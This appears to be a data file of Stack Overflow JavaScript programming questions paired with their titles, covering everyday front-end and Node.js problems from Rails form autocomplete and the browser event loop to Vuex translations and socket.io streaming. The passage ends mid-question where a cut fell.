f.association : team , input_html : { multiple : true } % > I am loading the JSON from a collection into an attribute data-autocomplete-source within my inputs , a short bit of jquery then cycles through each of these and then initialises the materialize .autocomplete , I also need to do this with .chips for many associations . The UI element is working as I would like , but I can not work out how to save a new record . I have two problems : Unpermitted parameters : : team_name , : profession_name - I 've been trying to adapt this tutorial and believed that Step 11 would effectively translate this within the model , but am clearly not understanding something ... '' setting '' = > { `` team_name '' = > '' '' , `` profession_name '' = > '' Consultant Doctor '' } - the team_name values ( i.e . the chips ) are not being recognised when attempting to save the record . I 've got some nasty jquery that transfers the id from the div to the generated input which I was hoping would work ... I 've also checked many previous questions on Stack Overflow ( some of which seem to be similar to this question , generally using jqueryui ) but can not work out how to adapt the answers.How can I use the names from a model in a materialize chip and autocomplete input and save the selections by their associated id into a record ? Any help or guidance would be much appreciated.setting.rbsettings_controller.rbviews/settings/new.html.erbGems and versionsruby ' 2.5.0'gem 'rails ' , '~ > 5.2.1'gem 'materialize-sass ' gem 'material_icons ' gem'materialize-form ' gem 'simple_form ' , ' > = 4.0.1 ' gem'client_side_validations'gem 'client_side_validations-simple_form ' class Setting < ApplicationRecord has_and_belongs_to_many : team , optional : true belongs_to : user belongs_to : profession def team_name team.try ( : name ) end def team_name= ( name ) self.team = Team.find_by ( name : name ) if name.present ? end def profession_name profession.try ( : name ) end def profession_name= ( name ) self.profession = Profession.find_by ( name : name ) if name.present ? endend def new @ user = current_user @ professions = Profession.all @ teams = Team.all @ setting = Setting.new @ teams_json = @ teams.map ( & : name ) @ professions_json = @ professions.map ( & : name ) render layout : `` modal '' end def create @ user = current_user @ setting = @ user.settings.create ( setting_params ) if @ setting.save redirect_to action : `` index '' else flash [ : success ] = `` Failed to save settings '' render `` new '' end end private def setting_params params.require ( : setting ) .permit ( : user_id , : contact , : view , : taketime , : sortname , : sortlocation , : sortteam , : sortnameorder , : sortlocationorder , : sortteamorder , : location_id , : profession_id , : department_id , team_ids : [ ] ) end < % = simple_form_for @ setting do |f| % > < div class= '' row '' > < div class= '' col s12 '' > < div class= '' row '' > < div class= '' input-field autocomplete_dynamic col s12 '' > < i class= '' material-icons prefix '' > group < /i > < div data-autocomplete-source= ' < % = @ teams_json % > ' class= '' string optional chips '' type= '' text '' name= '' setting [ team_name ] '' id= '' setting_team_name '' > < /div > < /div > < /div > < /div > < /div > < div class= '' row '' > < div class= '' col s12 '' > < div class= '' row '' > < div class= '' input-field autocomplete_dynamic col s12 '' > < i class= '' material-icons prefix '' > group < /i > < % = f.input : profession_name , wrapper : false , label : false , as : : search , input_html : { : data = > { autocomplete_source : @ professions_json } } % > < label for= '' autocomplete-input '' > Select your role < /label > < /div > < /div > < /div > < /div > < % = f.submit % > < % end % > $ ( `` * [ data-autocomplete-source ] '' ) .each ( function ( ) { var items = [ ] ; var dataJSON = JSON.parse ( $ ( this ) .attr ( `` data-autocomplete-source '' ) ) ; var i ; for ( i = 0 ; i < dataJSON.length ; ++i ) { items [ dataJSON [ i ] ] = null ; } if ( $ ( this ) .hasClass ( `` chips '' ) ) { $ ( this ) .chips ( { placeholder : $ ( this ) .attr ( `` placeholder '' ) , autocompleteOptions : { data : items , limit : Infinity , minLength : 1 } } ) ; // Ugly jquery to give the generated input the correct id and name idStore = $ ( this ) .attr ( `` id '' ) ; $ ( this ) .attr ( `` id '' , idStore + `` _wrapper '' ) ; nameStore = $ ( this ) .attr ( `` name '' ) ; $ ( this ) .attr ( `` name '' , nameStore + `` _wrapper '' ) ; $ ( this ) .find ( `` input '' ) .each ( function ( ) { $ ( this ) .attr ( `` id '' , idStore ) ; $ ( this ) .attr ( `` name '' , nameStore ) ; } ) ; } else { $ ( this ) .autocomplete ( { data : items , } ) ; } } ) ; .prefix~.chips { margin-top : 0px ; } < ! -- jquery -- > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js '' > < /script > < ! -- Materialize CSS -- > < link rel= '' stylesheet '' href= '' https : //cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/css/materialize.min.css '' > < ! -- Materialize JavaScript -- > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/js/materialize.min.js '' > < /script > < ! -- Material Icon Webfont -- > < link href= '' https : //fonts.googleapis.com/icon ? family=Material+Icons '' rel= '' stylesheet '' > < div class= '' row '' > < div class= '' col s12 '' > < div class= '' row '' > < div class= '' input-field autocomplete_dynamic col s12 '' > < i class= '' material-icons prefix '' > group < /i > < div data-autocomplete-source= ' [ `` Miss T '' , '' Mr C '' , '' Mr D '' , '' Medicine Take '' , '' Surgery Take '' ] ' class= '' string optional chips '' type= '' text '' name= '' setting [ team_name ] '' id= '' setting_team_name '' > < /div > < /div > < /div > < /div > < /div > < div class= '' row '' > < div class= '' col s12 '' > < div class= '' row '' > < div class= '' input-field autocomplete_dynamic col s12 '' > < i class= '' material-icons prefix '' > group < /i > < input class= '' string optional input-field '' data-autocomplete-source= ' [ `` Consultant Doctor '' , '' Ward Clerk '' , '' Nurse '' , '' Foundation Doctor ( FY1 ) '' , '' Foundation Doctor ( FY2 ) '' , '' Core Trainee Doctor ( CT2 ) '' , '' Core Trainee Doctor ( CT1 ) '' ] ' type= '' text '' name= '' setting [ profession_name ] '' id= '' setting_profession_name '' > < label for= '' autocomplete-input '' > Select your role < /label > < /div > < /div > < /div > < /div >",Using Materialize ` chip ` and ` autocomplete ` in Ruby on Rails Form with Associated Models "JS : Before I dive into the question . Let me state that by Event Loop I am referring to http : //en.wikipedia.org/wiki/Event_loop . This is something that browsers implement . For more information , read this : http : //javascript.info/tutorial/further-javascript-features/events-and-timing-depth.This question is hard and long , so , please try to bear with it ! And I do appreciate all answers ! So . Now , as I understand it , in JavaScript there is a single main thread ( in most browser environments , that is ) . So , code like : will produce an animation from black to white , but you wo n't see that because the rendering is done after the code has been processed ( when the next tick happens -- the browser enters the Event Loop ) .If you want to see the animation , you could do : The above example would produce a visible animation , because setTimeout pushes a new event to the browser Event Loop stack which will be processed after there is nothing running ( it enters the Event Loop to see what to do next ) .It seems that the browser in this case have 0xfff ( 4095 ) events pushed into the stack , where each of them are processed with a render process in between them . So , my first question ( # 1 ) is that when exactly does the rendering take place ? Does it always take place in between the processing of two events in the Event Loop stack ? The second question is about the code in the javascript.info website link I gave you.My question here is that will the browser push a new `` rendering '' event to the Event Loop stack every time it reaches the div.style . ... = ... line ? But does it not first push an event due to the setTimeout-call ? So , does the browser end up in a stack like : Since the setTimeout call was processed before the div style change ? If that 's how the stack looks like , then I would assume the next time the browser enters the Event Loop it will process the setTimeout 's callback and end up having : and continue with the rendering event that the earlier setTimeout call produced ? for ( var color = 0x000 ; color < 0xfff ; color++ ) { $ ( 'div ' ) .css ( 'background-color ' , color.toString ( 16 ) ) ; } for ( var color = 0x000 ; color < 0xfff ; color++ ) { setTimeout ( function ( ) { $ ( 'div ' ) .css ( 'background-color ' , color.toString ( 16 ) ) ; } , 0 ) ; } ... function func ( ) { timer = setTimeout ( func , 0 ) div.style.backgroundColor = ' # '+i.toString ( 16 ) if ( i++ == 0xFFFFFF ) stop ( ) } timer = setTimeout ( func , 0 ) ... . setTimeout eventrender event rendering eventsetTimeout eventrendering event",I do n't fully understand JavaScript Threading "JS : I 'm struggling splitting the following string into two pieces . Mainly because the one of the possible delimiters is a space character , which can appear in the second capture group.https : //regex101.com/r/dS0bD8/1How can I split these strings at either \s , \skeyword\s , or \skey\s ? ' [ ] [ ] ' // = > [ ' [ ] ' , ' [ ] ' ] ' [ ] keyword [ ] ' // = > [ ' [ ] ' , ' [ ] ' ] ' [ ] key [ ] ' // = > [ ' [ ] ' , ' [ ] ' ] ' [ ] [ `` can contain spaces '' ] ' // = > [ ' [ ] ' , ' [ `` can contain spaces '' ] ' ] ' [ ] keyword [ `` can contain spaces '' ] ' // = > [ ' [ ] ' , ' [ `` can contain spaces '' ] ' ] ' [ ] key [ `` can contain spaces '' ] ' // = > [ ' [ ] ' , ' [ `` can contain spaces '' ] ' ] ' { } { } ' // = > [ ' { } ' , ' { } ' ] ' { } keyword { } ' // = > [ ' { } ' , ' { } ' ] ' { } key { } ' // = > [ ' { } ' , ' { } ' ] ' { } { `` can '' : '' contain spaces '' } ' // = > [ ' { } ' , ' { `` can '' : '' contain spaces '' } ' ] ' { } keyword { `` can '' : '' contain spaces '' } ' // = > [ ' { } ' , ' { `` can '' : '' contain spaces '' } ' ] ' { } key { `` can '' : '' contain spaces '' } ' // = > [ ' { } ' , ' { `` can '' : '' contain spaces '' } ' ] 'string string ' // = > [ `` string '' , `` string '' ] 'string keyword string ' // = > [ `` string '' , `` string '' ] 'string key string ' // = > [ `` string '' , `` string '' ]",Split string at first occurrence "JS : suppose i have a complex json object x with mixed objects and arrays.Is there a simple or generic way to check if a variable is null or undefined within this object , such as : instead of normally checking all the parent fields if ( x.a.b [ 0 ] .c.d [ 2 ] .e ! =null ) ... . if ( x.a ! =null & & x.a.b ! =null & & x.a.b [ 0 ] ! =null & & x.a.b [ 0 ] .c ! =null & & x.a.b [ 0 ] .c.d ! =null & & x.a.b [ 0 ] .c.d [ 2 ] ! =null & & x.a.b [ 0 ] .c.d [ 2 ] .e ! =null ) ... .",Get nested JSON/object value without needing many intermediate checks ? "JS : I Have a Pie Chart Whose functionality is working fine right now . The Problem is with its display.When I Hover upon the Pie Chart 's one section , The other sections 's opacity of the pie chart get low . As shown BelowMy Script is Here : Am I missing Something ? . Please Help . Thanks in Advance < script type= '' text/javascript '' > var data = < ? php echo json_encode ( $ json_data ) ? > data.forEach ( function ( el ) { el.name = el.label ; el.y = Number ( el.value ) ; } ) ; Highcharts.chart ( 'userpie ' , { chart : { plotBackgroundColor : null , plotBorderWidth : null , plotShadow : false , type : 'pie ' } , title : { text : undefined } , credits : { enabled : false } , exporting : { enabled : false } , tooltip : { pointFormat : ' { series.name } : < b > { point.percentage : .1f } % < /b > ' } , plotOptions : { pie : { allowPointSelect : true , cursor : 'pointer ' , showInLegend : true , dataLabels : { enabled : true , format : ' < b > { point.name } < /b > : { point.percentage : .1f } % ' , style : { color : ( Highcharts.theme & & Highcharts.theme.contrastTextColor ) || 'black ' } } } } , series : [ { name : 'Users ' , colorByPoint : true , data : data } ] } ) ; < /script >",Highchart 's Pie Chart Opacity Changes on Hover "JS : How would I prevent the default action of an < a > on the first click ( in order so that a tooltip is shown ) , then on the second click have the user directed to the value of the href attribute set on the element ? HTMLJquery < a id= '' second '' href= '' https : //www.test.com/ '' title= '' '' class= '' customtooltip c_tool2 '' data-original-title= '' data del toolltip numero 2 '' > tooltip < /a > var t = $ ( '.c_tool2 ' ) , b = $ ( ' a [ href^= '' http ' ) ; b.click ( function ( e ) { if ( t.length > 0 ) { e.preventDefault ( ) ; t.tooltip ( 'show ' ) ; } else { // on second click direct user to value of href } } ) ;","Jquery - prevent default action of < a > on first click , allow default action on second click" "JS : I have a simple javascript error logging mechanism in place and it looks somewhhat like this : The problem is that I 'd also like to get the value of the local variables and function parameters when the error occurred . Is this even possible ? I 'm thinking about modifying the Function prototype so that each time a function runs , its arguments are stored in a global array of strings and then the error handler would just add this array to the ajax call . Can JavaScript do this ? window.onerror = function ( ErrorMsg , Url , LineNumber , Col , Error ) { // ajax these to the server , including Error.stack }",Is it possible to get the local variable and parameter values with window.onerror "JS : Here is a little story.Once upon a time , a little project wanted to use node-mongodb-native . However , it was very shy , and it wanted to use a wrapper object to hide behind it.The setup method was a way to get the little project started . It was being called when the application was running.To try itself a little out , the little project added a wrapper method for the collection method of node-mongodb-native.But then , the little project found out that this method did n't work . It did n't understand why ! The error was the following , even though the little project does n't think it 's related . His best friend Google did n't turn up any useful result but an old fixed bug.PS : if you want a failing file , here is a gist . var mongodb = require ( 'mongodb ' ) , Server = mongodb.Server , Db = mongodb.Db , database ; var MongoModule = { } ; MongoModule.setup = function ( ) { // Create a mongodb client object var client = new Db ( this.config.databaseName , new Server ( this.config.serverConfig.address , this.config.serverConfig.port , this.config.serverConfig.options ) , this.config.options ) ; // Open the connection ! client.open ( function ( err , db ) { if ( err ) throw err ; database = db ; console.log ( 'Database driver loaded . ' ) ; } ) ; } ; MongoModule.collection = function ( ) { database.collection.apply ( this , arguments ) ; } ; // In the client.open callback : db.collection ( 'pages ' , function ( e , p ) { // no error , works fine } ) ; // in the same callback : MongoModule.collection ( 'pages ' , function ( e , p ) { // error : ( } ) ; TypeError : Can not read property 'readPreference ' of undefined at new Collection ( /home/vagrant/tartempion/node_modules/mongodb/lib/mongodb/collection.js:56:92 ) at Object.Db.collection ( /home/vagrant/tartempion/node_modules/mongodb/lib/mongodb/db.js:451:24 ) at Object.MongoModule.collection ( /home/vagrant/tartempion/core/databases/mongodb.js:27:25 ) at proxy [ as collection ] ( /home/vagrant/tartempion/node_modules/ncore/lib/core.js:116:51 ) at Object.module.exports.getIndex ( /home/vagrant/tartempion/pies/page/model.js:4:17 ) at proxy [ as getIndex ] ( /home/vagrant/tartempion/node_modules/ncore/lib/core.js:116:51 ) at Object.module.exports.index ( /home/vagrant/tartempion/pies/page/controller.js:7:20 ) at callbacks ( /home/vagrant/tartempion/node_modules/express/lib/router/index.js:272:11 ) at param ( /home/vagrant/tartempion/node_modules/express/lib/router/index.js:246:11 ) at pass ( /home/vagrant/tartempion/node_modules/express/lib/router/index.js:253:5 )","node-mongodb-native , callback , scope and TypeError" JS : I want to call method on Press- '' TAB '' but not on `` Shift + Tab '' . $ ( `` .txtPaymentMessage '' ) .keydown ( function ( e ) { if ( e.keyCode == 9 ) { alert ( `` You Press Tab Only '' ) ; } } ) ;,how to prevent shift + tab on focus out ? "JS : When my icon is inner the input-lg then when I click on the field , it looks like ... I mean my comment should be here , but it should not make the icon larger.I need comment will come , but out of icon and input lg field.Here is my demo code : I need it like this : $ ( document ) .ready ( function ( ) { $ ( ' # contact-form ' ) .validate ( { rules : { fullname : { minlength : 4 , required : true } , username : { required : true , email : true } , password : { minlength : 8 , required : true } , confirm_password : { minlength : 8 , required : true } , mobile : { minlength : 11 , required : true } } , highlight : function ( element ) { $ ( element ) .closest ( '.control-group ' ) .removeClass ( 'success ' ) .addClass ( 'error ' ) ; } , success : function ( element ) { element.text ( 'OK ! ' ) .addClass ( 'valid ' ) .closest ( '.control-group ' ) .removeClass ( 'error ' ) .addClass ( 'success ' ) ; } } ) ; } ) ; < link rel= '' stylesheet '' href= '' https : //maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css '' > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js '' > < /script > < script src= '' http : //ajax.aspnetcdn.com/ajax/jquery.validate/1.11.0/jquery.validate.min.js '' > < /script > < div class= '' container '' > < form method= '' POST '' class= '' form-horizontal '' id= '' contact-form '' > < div class= '' control-group '' > < div class= '' controls '' > < div class= '' input-group input-group-lg '' > < span class= '' input-group-addon '' id= '' sizing-addon1 '' > < span class= '' glyphicon glyphicon-user '' aria-hidden= '' true '' > < /span > < /span > < input type= '' text '' name= '' fullname '' id= '' fullname '' class= '' form-control '' placeholder= '' Your name '' > < /div > < /div > < /div > < p class= '' help-block '' > < /p > < div class= '' control-group '' > < div class= '' controls '' > < div class= '' input-group input-group-lg '' > < span class= '' input-group-addon '' id= '' sizing-addon1 '' > < span class= '' glyphicon glyphicon-envelope '' aria-hidden= '' true '' > < /span > < /span > < input type= '' email '' name= '' username '' id= '' username-reg '' class= '' form-control '' placeholder= '' Your email address '' > < /div > < /div > < /div > < p class= '' help-block '' > < /p > < div class= '' control-group '' > < div class= '' controls '' > < div class= '' input-group input-group-lg '' > < span class= '' input-group-addon '' id= '' sizing-addon1 '' > < span class= '' glyphicon glyphicon-lock '' aria-hidden= '' true '' > < /span > < /span > < input type= '' password '' name= '' password '' id= '' password '' class= '' form-control '' placeholder= '' Your password '' > < /div > < /div > < /div > < p class= '' help-block '' > < /p > < div class= '' control-group '' > < div class= '' controls '' > < div class= '' input-group input-group-lg '' > < span class= '' input-group-addon '' id= '' sizing-addon1 '' > < span class= '' glyphicon glyphicon-lock '' aria-hidden= '' true '' > < /span > < /span > < input type= '' password '' name= '' confirm_password '' id= '' repass '' class= '' form-control '' placeholder= '' Confirm your Password '' > < /div > < /div > < /div > < p class= '' help-block '' > < /p > < div class= '' control-group '' > < div class= '' controls '' > < div class= '' input-group input-group-lg '' > < span class= '' input-group-addon '' id= '' sizing-addon1 '' > < span class= '' glyphicon glyphicon-phone '' aria-hidden= '' true '' > < /span > < /span > < input type= '' text '' name= '' mobile '' id= '' phone '' class= '' form-control '' placeholder= '' Mobile Number '' > < /div > < /div > < /div > < p class= '' help-block '' > < /p > < /form > < /div >",Validation of input field with icon does not work smoothly "JS : I have an svg with transitions set on it . Now when I add a class to it which has some properties varied then the transition only occur if I add delay between DOMContentLoaded event and addclass event . Here are two example , first with no delay second with an infinitesmall delay : Without Delay : With Delay : As you can see in second example I added a delay of 0 second but it caused the animations to work , why ? Update1 : well ... we all are wrong : - ) I tried the same code without DOMContentLoaded and without delay . It still does n't add transition without a delay : I also noted that jQuery does n't cause a reflow . Here is an example of inline jquery code that still does n't fire ready function before CSSOM is loaded . Instead of inline jquery if we had external jquery then ready event would fire after CSSOM is ready . The understanding I have reached is that CSSOM needs a few milliseconds after html dom is rendered . So till it downloads external jquery CSSOM is ready . DOMContentLoaded simply do n't care if stylesheets are loaded or not , that is it does n't care if CSSOM is ready or not . ! function ( ) { window.addEventListener ( 'DOMContentLoaded ' , function ( ) { var logo2 = document.querySelector ( `` svg '' ) ; logo2.classList.add ( 'start ' ) ; } ) ; } ( ) ; < svg xmlns= '' http : //www.w3.org/2000/svg '' viewBox= '' 0 0 104.75 32.46 '' > < defs > < style > polygon { fill : red ; transition : opacity 3s ease-out , transform 3s ease-out ; opacity : 0 ; } .start polygon { opacity : 1 ; } # A1 polygon { transform : translate ( 100px , 100px ) ; transition-delay : 1s ; } /*styles after animation starts*/ .start # A1 polygon { transform : translate ( 0px , 0px ) ; } < /style > < /defs > < title > Logo < /title > < g id= '' A1 '' > < polygon class= '' right '' points= '' 0.33 31.97 0.81 26.09 13.61 3.84 13.13 9.72 0.33 31.97 '' / > < /g > < /svg > ! function ( ) { window.addEventListener ( 'DOMContentLoaded ' , function ( ) { var logo2 = document.querySelector ( `` svg '' ) ; setTimeout ( function ( ) { logo2.classList.add ( 'start ' ) ; } ,0 ) ; } ) ; } ( ) ; < svg xmlns= '' http : //www.w3.org/2000/svg '' viewBox= '' 0 0 104.75 32.46 '' > < defs > < style > polygon { fill : red ; transition : opacity 3s ease-out , transform 3s ease-out ; opacity : 0 ; } .start polygon { opacity : 1 ; } # A1 polygon { transform : translate ( 100px , 100px ) ; transition-delay : 1s ; } /*styles after animation starts*/ .start # A1 polygon { transform : translate ( 0px , 0px ) ; } < /style > < /defs > < title > Logo < /title > < g id= '' A1 '' > < polygon class= '' right '' points= '' 0.33 31.97 0.81 26.09 13.61 3.84 13.13 9.72 0.33 31.97 '' / > < /g > < /svg > ! function ( ) { var logo2 = document.querySelector ( `` svg '' ) ; logo2.classList.add ( 'start ' ) ; } ( ) ; < svg xmlns= '' http : //www.w3.org/2000/svg '' viewBox= '' 0 0 104.75 32.46 '' > < defs > < style > polygon { fill : red ; transition : opacity 3s ease-out , transform 3s ease-out ; opacity : 0 ; } .start polygon { opacity : 1 ; } # A1 polygon { transform : translate ( 100px , 100px ) ; transition-delay : 1s ; } /*styles after animation starts*/ .start # A1 polygon { transform : translate ( 0px , 0px ) ; } < /style > < /defs > < title > Logo < /title > < g id= '' A1 '' > < polygon class= '' right '' points= '' 0.33 31.97 0.81 26.09 13.61 3.84 13.13 9.72 0.33 31.97 '' / > < /g > < /svg >",Why do n't transitions on svg work on DOMContentLoaded without delay ? "JS : I 've seen simple ways to read contents from a file input in JavaScript using HTML5 File API.This is my view method , inside a small fable-arch app : Is there a simple way to capture the file content directly from F # ? What is the minimum amount of interop fable code necessary to accomplish this ? let view model = div [ attribute `` class '' `` files-form '' ] [ form [ attribute `` enctype '' `` multipart/form-data '' attribute `` action '' `` /feed '' attribute `` method '' `` post '' ] [ label [ attribute `` for '' `` x_train '' ] [ text `` Training Features '' ] input [ attribute `` id '' `` x_train '' attribute `` type '' `` file '' onInput ( fun e - > SetTrainingFeaturesFile ( unbox e ? target ? value ) ) ] ] model | > sprintf `` % A '' | > text ]",Getting file input content with Fable "JS : HTMLJSI am facing problem while deleting the element . When I am clicking a remove its removing the last element . I tried splice as well but not able to reach success.Here is a Fiddle Some concern related Angular implementations : -We need to use form action ng-submit= '' addTodo ( ) '' or we need to use < button ng-click= '' addTodo ( `` > please differentiate.Can anyone define the proper scoping in angular with practical manner in full flex web application ? Please guide me.. Thanks ! ! < div ng-controller= '' BlogData '' > < form ng-submit= '' removeTodo ( ) '' > < ul > < li ng-repeat= '' blog in bloges '' > { { blog.name } } < p > { { blog.mobile } } < /p > < p > { { blog.description } } < /p > < input class= '' btn-primary '' type= '' submit '' value= '' remove '' > < p > < /p > < /li > < /ul > < /form > < form ng-submit= '' addTodo ( ) '' > < label > Name : < /label > < input type= '' text '' ng-model= '' todoName '' size= '' 30 '' placeholder= '' add your name '' > < label > Mobile : < /label > < input type= '' number '' ng-model= '' todoMobile '' size= '' 30 '' placeholder= '' add your mobile '' > < label > Description : < /label > < input type= '' text '' ng-model= '' todoDesc '' size= '' 30 '' placeholder= '' add some description '' > < hr > < h1 > Hello { { todoName } } ! < /h1 > < h1 > Your mobile is { { todoMobile } } ! < /h1 > < h1 > About my Details : - { { todoDesc } } ! < /h1 > < input class= '' btn-primary '' type= '' submit '' value= '' add '' > < /form > < /div > function BlogData ( $ scope ) { $ scope.bloges = [ { `` name '' : `` Nexus S '' , `` mobile '' : `` 858485454 '' , `` description '' : `` The nest to seehow it works '' } , { `` name '' : `` Motorola XOOM™ with Wi-Fi '' , `` mobile '' : `` 8584453454 '' , `` description '' : `` The nest to ytrb dsfhgs gvd m seehow it works '' } , { `` name '' : `` MOTOROLA XOOM™ '' , `` mobile '' : `` 443485454 '' , `` description '' : `` The nest bla bla vd fg hvto seehow it works '' } ] ; $ scope.addTodo = function ( ) { $ scope.bloges.push ( { name : $ scope.todoName , mobile : $ scope.todoMobile , description : $ scope.todoDesc , done : false } ) ; $ scope.todoName = `` ; $ scope.todoMobile = `` ; $ scope.todoDesc = `` ; } ; $ scope.removeTodo = function ( ) { $ scope.bloges.pop ( { name : $ scope.todoName , mobile : $ scope.todoMobile , description : $ scope.todoDesc , done : false } ) ; $ scope.todoName = `` ; $ scope.todoMobile = `` ; $ scope.todoDesc = `` ; } ; } var blogApp = angular.module ( 'blogApp ' , [ ] ) ; blogApp.controller ( 'BlogData ' , BlogData ) ;",Working with remove clicked element and scoping in angularjs JS : Lets say i have : Is there a way to check a pixel from that image say x= 10 ; y = 16 ; And return its RGBA data back ? Or do you have to create the pixel array to enquire a specific pixel ... I 'm unsure if the pixel array is created when you setup the image src or not ? Img = new Image ( ) ; img.src = 'test.png ' ;,Check pixel data of an image "JS : In my app.js file I build this so I can use translation in vue : This is working great in my vue files : The problem is that I 'm using vuex and I need to translate some things in a module : But here this.trans ( 'translation.name ' ) is not working . How could I get this to work ? Vue.prototype.trans = string = > _.get ( window.i18n , string ) ; { { trans ( 'translation.name ' ) } } import Vue from 'vue ' ; import Vuex from 'vuex ' ; Vue.use ( Vuex ) ; export default { namespaced : true , state : { page : 1 , criterias : [ { name : this.trans ( 'translation.name ' ) , filter : `` life '' , active : false } } }",Make prototype accessible in vuex "JS : Why does promise print all the success first then the rejects after , even though i wrote the code for it to appear randomlyOUTPUT var errors = 0 ; var successes = 0 ; var p1 ; for ( var i = 0 ; i < 10 ; i++ ) { p1 = new Promise ( function ( resolve , reject ) { var num = Math.random ( ) ; if ( num < .5 ) { resolve ( num ) ; } else { reject ( num ) } } ) ; p1.then ( function success ( res ) { successes++ ; console.log ( `` *Success : * `` + res ) } ) .catch ( function error ( error ) { errors++ console.log ( `` *Error : * `` + error ) } ) ; } VM331:16 *Success : * 0.28122982053146894VM331:16 *Success : * 0.30950619874924445VM331:16 *Success : * 0.4631742111936423VM331:16 *Success : * 0.059198322061176256VM331:16 *Success : * 0.17961879374514966VM331:16 *Success : * 0.24027158041021068VM331:19 *Error : * 0.9116586303879894VM331:19 *Error : * 0.7676575145407345VM331:19 *Error : * 0.5289135948801782VM331:19 *Error : * 0.5581542856881132",Why does JS promise print all the resolve first then rejects second "JS : I have a JSON object representing a set of segments and I 'd like to create an HTML table that compares each segment in the following format : How can I create a row for each segment value that will display the value 's measure and then group these by vertical and thenby domain group ? JSON : EDIT : An acceptable alternative to the above table layout would be to print a row for each compared segment value without it being grouped by domain group and vertical : I have jQuery and lodash libraries installed and either library can be used . -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -domain group | vertical | measure | Segment 1 | Segment 2 -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -group 1 | all | users clicking | 340 | 340 | | % users opening | 10 % | 10 % -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- | cars | users clicking | 340 | 340 | | % users opening | 10 % | 10 % -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -group 2 | all | users clicking | 340 | 340 | | % users opening | 10 % | 10 % -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- | cars | users clicking | 340 | 340 | | % users opening | 10 % | 10 % -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - { `` set '' : [ { `` id '' : 1 , `` segment_desc '' : `` Segment 1 '' , `` segment_summary '' : [ { `` section_type '' : `` domain group '' , `` section_value '' : `` group 1 '' , `` children '' : [ { `` children '' : [ { `` format '' : `` float '' , `` measure '' : `` users clicking '' , `` value '' : 340 } , { `` format '' : `` float '' , `` measure '' : `` % users opening '' , `` value '' : 10 } ] , `` section_type '' : `` vertical '' , `` section_value '' : `` all '' } , { `` children '' : [ { `` format '' : `` float '' , `` measure '' : `` users clicking '' , `` value '' : 340 } , { `` format '' : `` float '' , `` measure '' : `` % users opening '' , `` value '' : 10 } ] , `` section_type '' : `` vertical '' , `` section_value '' : `` cars '' } ] } ] } , { `` id '' : 2 , `` segment_desc '' : `` Segment 2 '' , `` segment_summary '' : [ { `` section_type '' : `` domain group '' , `` section_value '' : `` group 2 '' , `` children '' : [ { `` children '' : [ { `` format '' : `` float '' , `` measure '' : `` users clicking '' , `` value '' : 340 } , { `` format '' : `` float '' , `` measure '' : `` % users opening '' , `` value '' : 1.24 } ] , `` section_type '' : `` vertical '' , `` section_value '' : `` all '' } , { `` children '' : [ { `` format '' : `` float '' , `` measure '' : `` users clicking '' , `` value '' : 340 } , { `` format '' : `` float '' , `` measure '' : `` % users opening '' , `` value '' : 10 } ] , `` section_type '' : `` vertical '' , `` section_value '' : `` cars '' } ] } ] } ] } domain group | vertical | measure | segment 1 | segment 2 -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - group 1 | all | users clicking | 340 | 340 -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - group 1 | all | % users opening | 10 % | 10 % -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - group 1 | cars | users clicking | 340 | 340 -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - group 1 | cars | % users opening | 10 % | 10 % -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - group 2 | all | users clicking | 340 | 340",Generate HTML table row containing a value and its sibling and parent values JS : I 'm not really sure why i do not have access to the @ date ( this.date ) variable from the context of the anonymous function defined in C.f ( ) Could someone comment on that ? class C constructor : ( ) - > @ date = new Date ( ) f : ( ) - > $ ( document ) .keydown ( ( e ) - > alert ( @ date ) ),Coffeescript/Javascript variable scope "JS : I 'm am trying to send ( relay ) a continuous stream of utf-8 data from server to client . While I can eyeball the data arriving on the server , I can not pipe it into the Socket and forward it to the Client.Nodejs Server , The data from .getBlockStream ( ) that I can see in the nodejs console looks like something like this snip , Client , In the browser console I 'm only seeing this function , Can anyone help me understand what I 'm doing wrong ? var io = require ( 'socket.io ' ) ( server ) ; app.io = io ; var dsteem = require ( 'dsteem ' ) var es = require ( 'event-stream ' ) var client = new dsteem.Client ( 'https : //api.steemit.com ' ) var ss = require ( 'socket.io-stream ' ) ; var outBoundStream = ss.createStream ( ) ; var stream = client.blockchain.getBlockStream ( ) ; io.on ( 'connection ' , function ( socket ) { /* Eyeball the data in the nodejs console */ stream.pipe ( es.map ( function ( block , callback ) { callback ( null , util.inspect ( block , { colors : true , depth : null } ) + '\n ' ) } ) ) .pipe ( process.stdout ) ; /* Send stream data to client */ ss ( socket ) .on ( 'ready ' , function ( ) { console.log ( 'Here it comes ... ' ) ; ss ( socket ) .emit ( 'sending ' , function ( ) { stream.pipe ( es.map ( function ( block , callback ) { callback ( null , util.inspect ( block , { colors : 